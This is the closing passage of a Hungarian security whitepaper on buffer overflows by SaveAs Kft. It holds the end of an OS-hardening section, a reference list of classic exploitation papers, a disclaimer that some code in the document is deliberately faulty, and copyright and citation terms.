Controll - MAC, Discretionary Access Controll – DAC, stb). Ezeket a módszereket együttesen „OS Hardening”-nek nevezzük. 14 Cobit 3rd Edition – Guidelines ( http://www.cobitorg) Common Criteria (http://www.) ITB ajánlások (http://www.itbhu/ajanlasok/) SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 38. oldal, összesen: 40 O v er f l ow 7. FELHASZNÁLT IRODALOM a Frédérick Giasson: Memory Layout in Program Execution http://www.decatombcom/articles/memorylayouttxt a SecurityFocus.com levelezőlista archívumok http://online.securityfocuscom/archive/1 http://online.securityfocuscom/archive/101 http://online.securityfocuscom/archive/82 a Herbert Schildt: C/C++ referenciakönyv Panem Kft. 1998 a Aleph One: Smashing The Stack For Fun and Profit http://www.cseogiedu/DISC/projects/immunix/StackGuard/profithtml a w00w00 Security Team: w00w00 on Heap Overflows

http://www.w00w00org/files/articles/heaptuttxt a Juan M. Bello Rivas: Overwriting the dtors section http://julianor.tripodcom/dtorstxt a Teso Security Team: Exploiting Format String Vulnerabilities http://julianor.tripodcom/teso-fs1-1pdf a Randall Hyde: The Art of Assembly Language Programming http://courses.eceuiucedu/ece291/books/artofasm/artofasmhtml SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 39. oldal, összesen: 40 O v er f l ow 8. 8.1 EGYÉB Jelen dokumentum közlése 8.11 Az információk minőségéről Jelen dokumentum a publicitása miatt - és mert nem célja, hogy informatikai hálózatok támadásához ötletekkel szolgáljon – esetenként hibás kódokat tartalmazhat. 8.2 CopyRight 8.21 Kizárólagos jogok Jelen dokumentáció a SaveAs Kft. szellemi terméke és kizárólagos tulajdona Hasznosítás és többszörözés Jelen dokumentációt az olvasó üzletszerzésre nem

hasznosíthatja. A dokumentum nem módosítható, azonban változtatás nélkül szabadon terjeszthető. Nyilvánossághoz való közvetítés és idézés Jelen dokumentáció egészének vagy részeinek médiában vagy bárhol máshol való felhasználása kizárólag a SaveAs Kft. nevének megemlítésével tehető az alábbi módokon: Televízió és rádió: a SaveAs Kft. nevének megemlítésével és/vagy – televízió esetén - kiírásával. Újság: a SaveAs Kft. nevének és weblapjának elérhetőségének kiírásával (http://www.saveashu) Digitális média: a SaveAs Kft. nevének és weblapjának elérhetőségének kiírásával (http://www.saveashu) és utóbbinak kattintható belinkelésével Oktatás Oktatási célra a dokumentáció szabadon felhasználható. Minden más esetben a SaveAs Kft. írásbeli engedélye szükséges SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 40. oldal,

összesen: 40